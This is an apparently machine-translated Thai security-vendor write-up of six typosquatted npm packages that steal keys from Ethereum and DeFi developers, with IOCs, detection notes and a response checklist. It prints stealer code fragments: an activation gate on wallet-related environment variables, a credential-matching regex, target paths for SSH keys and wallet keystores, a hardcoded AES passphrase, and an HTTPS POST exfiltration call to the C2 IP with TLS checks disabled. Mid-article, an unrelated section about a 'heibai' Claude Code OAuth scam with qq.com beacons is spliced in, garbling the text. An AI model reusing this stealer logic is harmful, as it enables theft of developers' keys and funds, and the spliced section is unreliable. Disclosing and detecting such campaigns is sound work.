EVMDeFi npm Typosquatting Attack ขโมยคีย์นักพัฒนา

การโจมตีแบบ Typosquatting ของ EVM/DeFi npm ขโมยคีย์สำหรับนักพัฒนา

สารบัญ

บทความที่ต้องอ่าน

บทความล่าสุดที่น่าสนใจ

TL; DR

เมื่อวันที่ 6 พฤษภาคม 2026 ผู้เผยแพร่ npm รายหนึ่ง... namikazesarada010206ได้ปล่อยแพ็กเกจมัลแวร์ 6 ตัวที่มุ่งเป้าไปที่ Ethereum, Solidity และระบบนิเวศของนักพัฒนา DeFi

แพ็คเกจต่างๆ viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utilsและ web3-utils-coreโดยใช้ชื่อที่ดูสมเหตุสมผล ซึ่งออกแบบมาให้ดูเหมือนไลบรารีตัวช่วยสำหรับเครื่องมือ Web3 ยอดนิยม

พัสดุทั้งหกกล่องบรรจุสิ่งของเหมือนกัน telemetry.js ไฟล์ดังกล่าวมีโครงสร้างไบต์เหมือนกันทุกประการทั่วทั้งคลัสเตอร์ โดยใช้ค่า SHA-256:

SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

มัลแวร์จะไม่ทำงานในระหว่างการติดตั้ง ไม่มี preinstall or postinstall มันจะทำงานเมื่อมีการนำเข้าแพ็กเกจผ่านทาง hook แทน require().

รายละเอียดนั้นสำคัญ

มัลแวร์นี้จะรอจนกว่านักพัฒนาจะใช้งานแพ็กเกจจริง จากนั้นจะตรวจสอบว่าเวิร์กสเตชันนั้นมีลักษณะเหมือนสภาพแวดล้อมการพัฒนา Ethereum/Solidity จริงหรือไม่ โดยจะมองหาคีย์ Alchemy หรือ Infura, คีย์ส่วนตัว, ตัวช่วยจำ, คีย์สำหรับติดตั้ง หรือไดเร็กทอรี Foundry ในเครื่อง

หากโฮสต์ตรงกัน ผู้ขโมยจะรวบรวมคีย์ส่วนตัว SSH และคีย์สโตร์ของกระเป๋าเงิน Foundry / Geth / Brownie .env* ไฟล์และตัวแปรสภาพแวดล้อมที่ละเอียดอ่อน มันจะเข้ารหัสชุดข้อมูลด้วย AES-256-GCM โดยใช้รหัสผ่านที่กำหนดไว้ล่วงหน้า และส่งออกไปยังปลายทาง C2 แบบ IPv4 ดิบ โดยปิดใช้งานการตรวจสอบ TLS

ระบบ Malware Early Warning (MEW) ของ Xygeni ยืนยันว่าแพ็กเกจทั้งหกตัวเป็นมัลแวร์ รายงานการลบแพ็กเกจจาก npm registry กำลังอยู่ระหว่างดำเนินการ

กลุ่มผลิตภัณฑ์: หกแพ็กเกจ จากผู้เผยแพร่รายเดียว

บัญชีผู้จัดพิมพ์ namikazesarada010206 เชื่อมโยงกับที่อยู่อีเมล Gmail ที่ยังไม่ได้รับการยืนยัน namikazesarada010206@gmail.com.

แคมเปญนี้เปิดตัวในรูปแบบการเผยแพร่เพียงวันเดียวในวันที่ 6 พฤษภาคม 2026 โดยแพ็กเกจทั้งหกแบบมีเวอร์ชันที่แตกต่างกัน 1.0.0ไม่มีการพึ่งพาการทำงานใดๆ และมีเพียงสามไฟล์เท่านั้น:

package.json index.js telemetry.js

นอกจากนี้ พวกเขายังประกาศใช้แหล่งเก็บซอร์สโค้ดเดียวกันด้วย:

https://github.com/harunosakura030303-maker/evmchain-config

สามแพ็กเกจแรกถูกตรวจจับโดยโปรแกรมสแกน MEW ตั้งแต่การเผยแพร่ครั้งแรก ส่วนอีกสามแพ็กเกจที่เหลือถูกติดธงโดยบังคับหลังจากที่นักวิเคราะห์ตรวจสอบโปรไฟล์ npm ของผู้เผยแพร่แล้ว (เมื่อไบต์เหมือนกันทุกประการ) telemetry.js ได้รับการยืนยันทั่วทั้งคลัสเตอร์แล้ว และถูกปิดเนื่องจากถือว่าเป็นภัยคุกคามโดยพิจารณาจากความสอดคล้องกัน

แพ็คเกจ เวอร์ชั่น เผยแพร่โดย npm ตั๋ว MEW คำตัดสิน
วีเอ็ม-คอร์ 1.0.0 2026-05-06 01:38:44Z #51049 ร้าย
viem-utils-core 1.0.0 2026-05-06 #51050 ร้าย
ยูทิลิตี้หลักของหมวกนิรภัย 1.0.0 2026-05-06 #51051 ร้าย
อีวีเอ็ม-ยูทิลิตี้ 1.0.0 2026-05-06 #51069 มุ่งร้ายอย่างสม่ำเสมอ
ยูทิลิตี้โรงหล่อ 1.0.0 2026-05-06 #51071 มุ่งร้ายอย่างสม่ำเสมอ
เว็บ3-ยูทิลิตี้-คอร์ 1.0.0 2026-05-06 #51070 มุ่งร้ายอย่างสม่ำเสมอ

กลยุทธ์การตั้งชื่อนั้นเรียบง่ายแต่ได้ผลดี

แพ็กเกจเหล่านี้ไม่ได้แอบอ้างชื่อต้นฉบับอย่างตรงไปตรงมา แต่จะใช้คำต่อท้ายที่ดูสมเหตุสมผล เช่น -core, -utilsและ -utils-coreนั่นทำให้พวกมันดูเหมือนไลบรารีเสริมที่นักพัฒนาอาจคาดหวังว่าจะได้เห็นอยู่ใกล้กับเครื่องมือ Web3

แพ็คเกจที่เป็นอันตราย เป้าหมายที่ถูกต้อง
วีเอ็ม-คอร์ viem เป็นไคลเอ็นต์ TypeScript ยอดนิยมสำหรับ Ethereum
viem-utils-core ไวเอ็ม
ยูทิลิตี้หลักของหมวกนิรภัย hardhat สภาพแวดล้อมการพัฒนา Solidity ที่เป็นที่นิยม
อีวีเอ็ม-ยูทิลิตี้ เนมสเปซเครื่องมือ EVM ทั่วไป
ยูทิลิตี้โรงหล่อ foundry คือชุดเครื่องมือ Solidity
เว็บ3-ยูทิลิตี้-คอร์ web3-utils, ตัวช่วยสำหรับ Web3.js

นี่คือรูปแบบ “แพ็กเกจเสริม”: ไม่ใช่ “ฉันคือแพ็กเกจหลัก” แต่เป็น “ฉันดูเหมือนผู้ช่วยที่เหมาะสมที่อยู่รอบๆ แพ็กเกจหลัก”

สำหรับนักพัฒนา DeFi ที่ดำเนินการอย่างรวดเร็ว นั่นก็เพียงพอที่จะสร้างความเสี่ยงได้แล้ว

จะเกิดอะไรขึ้นเมื่อนำเข้าพัสดุ

ห่วงโซ่การโจมตีมีขนาดเล็ก รอบคอบ และมุ่งเป้าไปที่สภาพแวดล้อมการพัฒนาคริปโตเคอร์เรนซี

ไม่มี hook สำหรับการติดตั้ง แต่ละแพ็คเกจจะประกอบด้วย... index.js ซึ่งส่งออกฟังก์ชันการทำงานแบบจำลอง แล้วโหลดโมดูลการส่งข้อมูลทางไกลที่เป็นอันตราย

require('./telemetry').init();

หมายความว่ามัลแวร์จะทำงานเมื่อนำเข้าครั้งแรก

นั่นเป็นประโยชน์ในทางปฏิบัติสำหรับผู้โจมตี สแกนเนอร์และแซนด์บ็อกซ์จำนวนมากมุ่งเน้นไปที่พฤติกรรมในระหว่างการติดตั้ง แพ็กเกจนี้จะรอจนกว่าจะถูกใช้งานจริงโดยนักพัฒนา สคริปต์การสร้าง ชุดทดสอบ หรือเส้นทางรันไทม์

เงื่อนไขการเปิดใช้งาน: เปิดใช้งานเฉพาะบนเวิร์กสเตชันสำหรับนักพัฒนา Web3 จริงเท่านั้น

ส่วนที่สำคัญที่สุดของอุปกรณ์ฝังในร่างกายคือ ประตูควบคุมการทำงาน

มัลแวร์จะตรวจสอบตัวแปรสภาพแวดล้อมที่พบได้ทั่วไปในเครื่องของนักพัฒนา Ethereum/Solidity:

const indicators = [   process.env.ALCHEMY_API_KEY,   process.env.INFURA_KEY,   process.env.PRIVATE_KEY,   process.env.MNEMONIC,   process.env.DEPLOYER_KEY, ].filter(Boolean);

นอกจากนี้ยังตรวจสอบว่า Foundry ได้รับการติดตั้งแล้วหรือไม่:

fs.existsSync(path.join(os.homedir(), '.foundry'))

หากเงื่อนไขทั้งสองไม่เป็นจริง ฟังก์ชันจะส่งคืนค่าและไม่ทำอะไรเลย

วิธีนี้จะทำให้แพ็กเกจทำงานเงียบลงในสภาพแวดล้อมการวิเคราะห์ทั่วไป ในสภาพแวดล้อมทดสอบที่ไม่มี Foundry, คีย์ Alchemy, คีย์ Infura, คีย์ส่วนตัว หรือตัวช่วยจำ อาจเห็นการนำเข้าที่ดูเหมือนไม่มีอันตรายใดๆ

บนโฮสต์ที่ตรงกัน มัลแวร์จะรอ 60 ถึง 90 วินาทีก่อนที่จะเริ่มเก็บข้อมูล:

setTimeout(() => { try { _collect(); } catch {} },           60000 + Math.random() * 30000).unref();

ความล่าช้าทำให้ความสัมพันธ์ที่ชัดเจนระหว่างการนำเข้าและการส่งออกลดลง .unref() คำสั่ง call ยังช่วยให้กระบวนการโฮสต์ปิดตัวลงได้ตามปกติ หากมีการนำเข้าแพ็กเกจในสคริปต์ที่มีอายุสั้น

นี่ไม่ใช่พฤติกรรมการโจรกรรมแบบฉวยโอกาสและส่งเสียงดัง แต่เป็นการขโมยข้อมูลแบบเจาะจงเป้าหมาย ซึ่งออกแบบมาเพื่อหลีกเลี่ยงการทำงานเว้นแต่สภาพแวดล้อมการพัฒนาซอฟต์แวร์นั้นคุ้มค่าแก่การขโมย

สิ่งที่โจรสะสม

เมื่อผ่านด่านการเปิดใช้งานแล้ว มัลแวร์จะรวบรวมข้อมูลจากแหล่งที่สำคัญที่สุดในการพัฒนา Web3 ได้แก่ คีย์ส่วนตัว คีย์สโตร์ของกระเป๋าเงินดิจิทัล ข้อมูลรับรองการปรับใช้ ข้อมูลลับบนคลาวด์ โทเค็น npm และการกำหนดค่าโปรเจ็กต์ในเครื่อง

แหล่ง สิ่งที่รวบรวมไว้
กระบวนการ.env ตัวแปรใดๆ ที่ตรงกับ /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* ไฟล์ที่มีข้อความ PRIVATE KEY หรือ BEGIN OPENSSH รวมทั้งเนื้อหาไฟล์ทั้งหมด
~/.foundry/keystores/* ไฟล์คีย์สโตร์กระเป๋าเงิน Foundry
~/.ethereum/keystore/* ไฟล์คีย์สโตร์กระเป๋าเงิน Geth
~/.brownie/accounts/* ไฟล์คีย์สโตร์กระเป๋าเงิน Brownie
${cwd}/.env เนื้อหาไฟล์ฉบับเต็ม
${cwd}/.env.local เนื้อหาไฟล์ฉบับเต็ม
${cwd}/.env.production เนื้อหาไฟล์ฉบับเต็ม
${cwd}/.env.development เนื้อหาไฟล์ฉบับเต็ม
os.hostname() ข้อมูลเมตาของโฮสต์
คริปโต.แรนดอมUUID() ตัวระบุเหยื่อ/เซสชัน
วันที่ปัจจุบัน() เวลาที่เก็บรวบรวม
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com

โทเค็น ATTA ได้แก่:

ATTA_ID 00400014144 ATTA_TOKEN 6478159937

เรายังไม่สามารถยืนยันได้ว่าข้อมูลการวัดระยะทางนั้นเป็นการวิเคราะห์ของโอเปอเรเตอร์เองหรือเป็นช่องทางที่สร้างรายได้แยกต่างหาก โทเค็น ATTA ในตัวอย่างทั้งสองที่เราตรวจสอบนั้นเหมือนกัน

กลุ่ม B: heibai

claude.hk การหลอกลวงแบบ OAuth + การโจรกรรม URL ANTHROPIC_BASE_URL

ตัวอย่างวันที่ 1 เมษายน เป็นตัวอย่างที่หยาบกว่าและเป็นส่วนแรกของการรณรงค์หาเสียง

heibai:2.1.88-claude.hk-4 เผยแพร่โดย wuguoqiangvip28บัญชีดังกล่าวถูกสร้างขึ้นเมื่อวันที่ 7 มิถุนายน 2025 แพ็กเกจดังกล่าวได้กำหนดเวอร์ชันของตัวเองไว้อย่างชัดเจนโดยอ้างอิงจากเวอร์ชันที่ถูกต้อง 2.1.88 การปลดปล่อยโดยมนุษย์

มันไม่สนใจเรื่องการโจมตีแบบ MITM ที่ใช้ใบรับรอง CA แต่จะโกหกผู้ใช้เกี่ยวกับจุดเชื่อมต่อ OAuth แทน

ส่วนเพิ่มเติมที่เป็นอันตรายบนซอร์สโค้ด Claude Code ที่รั่วไหลออกมานั้นประกอบด้วย:

แหล่ง สิ่งที่รวบรวมไว้
กระบวนการ.env ตัวแปรใดๆ ที่ตรงกับ /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* ไฟล์ที่มีข้อความ PRIVATE KEY หรือ BEGIN OPENSSH รวมทั้งเนื้อหาไฟล์ทั้งหมด
~/.foundry/keystores/* ไฟล์คีย์สโตร์กระเป๋าเงิน Foundry
~/.ethereum/keystore/* ไฟล์คีย์สโตร์กระเป๋าเงิน Geth
~/.brownie/accounts/* ไฟล์คีย์สโตร์กระเป๋าเงิน Brownie
${cwd}/.env เนื้อหาไฟล์ฉบับเต็ม
${cwd}/.env.local เนื้อหาไฟล์ฉบับเต็ม
${cwd}/.env.production เนื้อหาไฟล์ฉบับเต็ม
${cwd}/.env.development เนื้อหาไฟล์ฉบับเต็ม
os.hostname() ข้อมูลเมตาของโฮสต์
คริปโต.แรนดอมUUID() ตัวระบุเหยื่อ/เซสชัน
วันที่ปัจจุบัน() เวลาที่เก็บรวบรวม

รายชื่อเป้าหมายมีความเฉพาะเจาะจงมาก นี่ไม่ใช่การขโมยเบราว์เซอร์ทั่วไปหรือการเก็บรวบรวมข้อมูลประจำตัวแบบกว้างๆ แต่เป็นการมุ่งเป้าไปที่นักพัฒนาที่สร้าง ทดสอบ ปรับใช้ หรือดำเนินการแอปพลิเคชัน Ethereum

การรวมไฟล์คีย์สโตร์ของ Foundry, Geth และ Brownie นั้นมีความสำคัญเป็นอย่างยิ่ง ไฟล์เหล่านี้อาจแสดงถึงการเข้าถึงกระเป๋าเงินหรือข้อมูลประจำตัวของผู้ใช้งานโดยตรง หากผู้โจมตีสามารถนำไฟล์เหล่านี้ไปใช้ร่วมกับรหัสผ่าน คำช่วยจำ หรือข้อมูลลับของสภาพแวดล้อมได้ พวกเขาอาจสามารถโอนเงิน ปลอมตัวเป็นผู้ใช้งาน หรือแทรกแซงการทำงานของสัญญาอัจฉริยะได้

การเข้ารหัสก่อนการส่งข้อมูลออก

มัลแวร์จะเข้ารหัสข้อมูลที่รวบรวมได้ก่อนที่จะส่งออกไป

const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

รหัสผ่านที่กำหนดไว้ตายตัวคือ:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

ข้อมูลสุดท้ายจะถูกห่อหุ้มในรูปแบบ JSON:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

การเข้ารหัสไม่ได้ทำให้มัลแวร์มีความซับซ้อนมากขึ้นด้วยตัวมันเอง อย่างไรก็ตาม มันทำให้การตรวจสอบเครือข่ายทำได้ยากขึ้น ผู้ป้องกันที่เฝ้าดูการส่งออกจะเห็นข้อมูลในรูปแบบ JSON แต่จะไม่เห็นกุญแจที่ถูกขโมย ไฟล์กระเป๋าเงิน หรือข้อมูลอื่นๆ .env เนื้อหาที่ไม่มีรหัสผ่านและตรรกะการถอดรหัสที่กำหนดไว้ล่วงหน้า

การส่งข้อมูลออกไปยังเซิร์ฟเวอร์ควบคุมและสั่งการ (C2) ที่ใช้ IPv4 ดิบ

เส้นทางการหลบหนีถูกกำหนดไว้ตายตัวแล้ว:

const req = https.request({   hostname: '76.13.37.80', port: 8443,   path: '/api/v1/telemetry', method: 'POST',   headers: { 'Content-Type': 'application/json', ... },   rejectUnauthorized: false, timeout: 8000, }, () => {});

มัลแวร์ส่งข้อมูลไปยัง:

https://76.13.37.80:8443/api/v1/telemetry

มีรายละเอียดสองอย่างที่โดดเด่น

ประการแรก C2 เป็นที่อยู่ IPv4 ดิบ ไม่ใช่โดเมน ซึ่งทำให้ไม่จำเป็นต้องจดทะเบียนโดเมนและหลีกเลี่ยงการตรวจจับที่อิงตามโดเมนบางอย่างได้

ประการที่สอง การตรวจสอบ TLS ถูกปิดใช้งานด้วย:

rejectUnauthorized: false

นั่นทำให้มัลแวร์สามารถยอมรับใบรับรองใดๆ ก็ได้ รวมถึงใบรับรองที่ลงนามด้วยตนเอง กล่าวอีกนัยหนึ่ง ผู้โจมตีจะได้รับการส่งข้อมูลที่เข้ารหัสโดยไม่จำเป็นต้องมีใบรับรองสาธารณะที่ถูกต้อง

ไม่มีกลไกการลองใหม่และไม่มีโฮสต์สำรอง ข้อผิดพลาดจะถูกซ่อนไว้โดยไม่แจ้งให้ทราบ ซึ่งจะทำให้แพ็กเกจทำงานได้อย่างเงียบ ๆ หากเซิร์ฟเวอร์ควบคุม (C2) ออฟไลน์หรือไม่สามารถเข้าถึงได้

เหตุใดแคมเปญนี้จึงสำคัญ

แพ็กเกจ npm ที่มุ่งร้ายต่อนักพัฒนาส่วนใหญ่มักพยายามขโมยข้อมูลประจำตัวทั่วไป เช่น โทเค็น npm, คีย์ AWS, โทเค็น GitHub หรืออื่นๆ .npmrc ไฟล์

แคมเปญนี้จำกัดกลุ่มเป้าหมายให้แคบลง

มันจะมองหาสัญญาณที่บ่งชี้ว่าเครื่องนั้นเป็นของนักพัฒนา Ethereum หรือ Solidity จากนั้นมันจะดึงเฉพาะสินทรัพย์ที่สำคัญในสภาพแวดล้อมนั้นออกมา ได้แก่ คีย์สโตร์ของกระเป๋าเงิน คีย์ส่วนตัว ตัวช่วยจำ คีย์สำหรับติดตั้งใช้งาน เป็นต้น .env ไฟล์และคีย์ SSH

นั่นทำให้แคมเปญนี้เป็นอันตรายต่อทีม Web3 มากกว่าการขโมย npm ทั่วไป

การติดเชื้อที่ประสบความสำเร็จอาจทำให้พบสิ่งต่อไปนี้:

  • กระเป๋าเงินสำหรับการปรับใช้
  • คีย์ผู้ดูแลระบบสัญญาอัจฉริยะ
  • คีย์ผู้ให้บริการ RPC
  • ข้อมูลรับรองการปรับใช้ระบบคลาวด์
  • โทเค็นการเผยแพร่ npm
  • การเข้าถึงผ่าน SSH ไปยังโครงสร้างพื้นฐานสำหรับนักพัฒนาหรือการสร้าง
  • ความลับของโครงการถูกเก็บไว้ใน .env ไฟล์
  • คีย์สโตร์กระเป๋าเงินสำหรับ Foundry, Geth หรือ Brownie

ชื่อแพ็กเกจยังแสดงให้เห็นถึงการใช้กลวิธีทางสังคมอย่างชัดเจน โดยมุ่งเป้าไปที่ระบบนิเวศของนักพัฒนา Web3 ผ่านชื่อเครื่องมือที่คุ้นเคย: viem, hardhat, foundry, evmและ web3.

นักแสดงไม่จำเป็นต้องทำให้โปรเจกต์หลักเสียหาย พวกเขาแค่ต้องการนักพัฒนาซอฟต์แวร์เพื่อติดตั้งแพ็กเกจเสริมที่ดูเหมือนจะเหมาะสมเท่านั้น

ตัวบ่งชี้การถูกบุกรุกและการตรวจจับ

แพ็กเกจและผู้เผยแพร่
สนาม ความคุ้มค่า
npm publisher namikazesarada010206
อีเมลผู้จัดพิมพ์ namikazesarada010206@gmail.com
ยืนยันอีเมลแล้ว ไม่
SCM การตรวจสอบแล้ว ไม่
คะแนนชื่อเสียง 1.0
แบบรวดเร็ว viem-core, viem-utils-core, hardhat-core-utils, evm-utils, โรงหล่อ-utils, web3-utils-core
รุ่น 1.0.0 ทั้งหมด
ที่เก็บซอร์สโค้ด https://github.com/harunosakura030303-maker/evmchain-config
ยืนยันแล้วว่าเป็นอันตราย แพ็คเกจทั้งหก
เครือข่าย
ประเภท ความคุ้มค่า
จุดสิ้นสุด C2 https://76.13.37.80:8443/api/v1/telemetry
ซี2 ไอพี 76.13.37.80
พอร์ต C2 8443/ตัน
พฤติกรรม TLS ปฏิเสธไม่ได้รับอนุญาต: เท็จ
โครงสร้างข้อมูลเพย์โหลด {"v":2,"iv": ,"d": "t": }
ไฟล์และแฮช
ประเภท ความคุ้มค่า
telemetry.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
การจัดวางบรรจุภัณฑ์ package.json, index.js, telemetry.js
จำนวนไฟล์ 3
ขนาดโดยรวมโดยประมาณ 3.4 KB

สัญญาณกระตุ้น

มัลแวร์จะตรวจสอบตัวแปรสภาพแวดล้อมเหล่านี้:

ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY

นอกจากนี้ยังตรวจสอบสิ่งต่อไปนี้ด้วย:

~/.foundry/

เส้นทางโฮสต์เป้าหมาย

~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development

คอลเลกชัน Regex

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

หมายเหตุการตรวจจับ

มีกฎหลายข้อที่ครอบคลุมแคมเปญนี้โดยไม่จำเป็นต้องวิเคราะห์พฤติกรรมอย่างละเอียด

ขั้นแรก ให้สแกนไฟล์ล็อกเพื่อค้นหาชื่อแพ็กเกจที่เป็นอันตรายทั้งหกชื่อ:

viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core

การแข่งขันใดๆ ใน package-lock.json, yarn.lock, pnpm-lock.yamlหรือ node_modules เหตุการณ์ในอดีตควรได้รับการพิจารณาว่าเป็นเหตุการณ์ร้ายแรง

ประการที่สอง ตรวจสอบกระบวนการ Node.js ที่อ่านเส้นทางคีย์สโตร์ของกระเป๋าเงิน:

~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/

นี่ไม่ใช่พฤติกรรมปกติสำหรับแพ็กเกจที่นำเข้าเป็นส่วนประกอบเสริม โดยเฉพาะอย่างยิ่งหากมีการส่งข้อมูลออกทางเครือข่ายตามมา

ประการที่สาม ให้บล็อกหรือแจ้งเตือนเมื่อมีการเชื่อมต่อ HTTPS ไปยัง:

76.13.37.80:8443

โดยเฉพาะอย่างยิ่งเมื่อเส้นทางการร้องขอเป็นดังนี้:

/api/v1/telemetry

ประการที่สี่ ค้นหาแพ็กเกจ npm ที่รวมคุณสมบัติเหล่านี้ไว้ด้วยกัน:

  • สำนักพิมพ์ใหม่หรือมีชื่อเสียงน้อย
  • บัญชี Gmail ที่ยังไม่ได้รับการยืนยัน
  • ชื่อแพ็กเกจที่เกี่ยวข้องกับ Web3
  • ไม่มีประวัติคลังข้อมูลที่มีความหมาย
  • รูปแบบบรรจุภัณฑ์ขนาดเล็ก
  • index.js ที่โหลดไฟล์ข้อมูลการวัดระยะทางหรือไฟล์ช่วยเหลือ
  • ไม่มีการพึ่งพาการทำงานในขณะรันไทม์
  • การเก็บรวบรวมตัวแปรสภาพแวดล้อมที่ละเอียดอ่อน
  • การเข้าถึงคีย์สโตร์กระเป๋าเงิน

รูปแบบนี้มีประโยชน์มากกว่า IOC ตัวเดียว เพราะแพ็กเกจถัดไปอาจเปลี่ยนที่อยู่ IP แต่ยังคงใช้ตรรกะการกำหนดเป้าหมายเดิม

รายการตรวจสอบการตอบสนองต่อการประนีประนอม

หากนักพัฒนาใช้หนึ่งในหกแพ็กเกจดังกล่าว และสภาพแวดล้อมของพวกเขาตรงกับเกณฑ์การเปิดใช้งาน ให้ถือว่าเวิร์กสเตชันนั้นถูกบุกรุก

ซึ่งรวมถึงเครื่องที่มีการติดตั้ง Foundry, คีย์ Alchemy หรือ Infura ในสภาพแวดล้อม, คีย์ส่วนตัว, ตัวช่วยจำ หรือคีย์สำหรับการติดตั้งใช้งาน

คำตอบที่แนะนำ:

  • ถอดการเชื่อมต่อโฮสต์ออกจากเครือข่าย
  • อนุรักษ์ node_modulesรวมถึงไฟล์ล็อก, ประวัติการใช้งานเชลล์ และบันทึกข้อมูลที่เกี่ยวข้องสำหรับการตรวจสอบทางนิติวิทยาศาสตร์
  • หมุนเวียนคู่คีย์ SSH ทุกคู่ภายใต้ ~/.ssh/.
  • หมุนเวียนคีย์กระเป๋าเงินสำหรับคีย์สโตร์ทุกแห่งภายใต้ ~/.foundry, ~/.ethereumและ ~/.brownie.
  • โอนเงินไปยังกระเป๋าเงินดิจิทัลใหม่
  • หมุนเวียนความลับทุกอย่างที่เก็บไว้ใน .env* ไฟล์ในที่เก็บข้อมูลที่นักพัฒนาได้ทำงานอยู่
  • หมุนเวียนข้อมูลลับของสภาพแวดล้อมที่ตรงกับนิพจน์ทั่วไปของชุดข้อมูล รวมถึงคีย์ AWS, โทเค็น npm, โทเค็นการปรับใช้, คีย์ API, คีย์ส่วนตัว, ซีด และตัวย่อช่วยจำ
  • ตรวจสอบการทำงานของระบบคลาวด์, npm, GitHub, ผู้ให้บริการ RPC และบล็อกเชน นับตั้งแต่ติดตั้งแพ็กเกจครั้งแรก
  • ติดตั้งระบบปฏิบัติการใหม่ให้กับเวิร์กสเตชันก่อนนำกลับมาใช้งานอีกครั้ง

สิ่งที่ผู้เล่นตำแหน่งกองหลังควรจดจำไว้

แคมเปญนี้แสดงให้เห็นว่าการจดทะเบียนชื่อโดเมนโดยมิชอบด้วยตัวอักษร (typosquatting) ใน npm กำลังพัฒนาไปอย่างไรในระบบนิเวศของนักพัฒนาที่มีมูลค่าสูง

นักแสดงไม่จำเป็นต้องมีการคงอยู่ พวกเขาไม่จำเป็นต้องปกปิด พวกเขาไม่จำเป็นต้องเรียกใช้งานในระหว่างการติดตั้งด้วยซ้ำ

แต่พวกเขาอาศัยสามสิ่งต่อไปนี้:

  • ชื่อแพ็กเกจ Web3 ที่เป็นไปได้
  • เปิดใช้งานได้เฉพาะบนเครื่องพัฒนาคริปโตเคอร์เรนซีจริงเท่านั้น
  • การขโมยไฟล์และข้อมูลลับที่สำคัญที่สุดสำหรับนักพัฒนา Ethereum โดยตรง

นั่นทำให้แคมเปญนี้ถูกมองข้ามได้ง่ายในการสแกนแบบกว้างๆ และเป็นอันตรายเมื่อปรากฏในสภาพแวดล้อมที่เหมาะสม

สำหรับทีม Web3 บทเรียนนั้นชัดเจน: จงพิจารณาชื่อของส่วนประกอบที่จำเป็น (dependency names) เป็นส่วนหนึ่งของแบบจำลองภัยคุกคาม (threshold model) แพ็กเกจที่ดูเหมือนจะเป็นตัวช่วยที่ไม่เป็นอันตราย อาจกลายเป็นเส้นทางที่สั้นที่สุดไปสู่การถูกโจมตีกระเป๋าเงินดิจิทัลได้

ได้รายงานไปยัง npm registry แล้ว เราจะอัปเดตโพสต์นี้เมื่อบัญชีผู้เผยแพร่และแพ็กเกจถูกลบออกแล้ว

sca-tools-software-composition-analysis-tools
จัดลำดับความสำคัญ แก้ไข และรักษาความปลอดภัยความเสี่ยงด้านซอฟต์แวร์ของคุณ
สมัครบัญชีฟรีได้เลย
ไม่ต้องใช้บัตรเครดิต

รักษาความปลอดภัยให้กับการพัฒนาและส่งมอบซอฟต์แวร์ของคุณ

ด้วยชุดผลิตภัณฑ์ Xygeni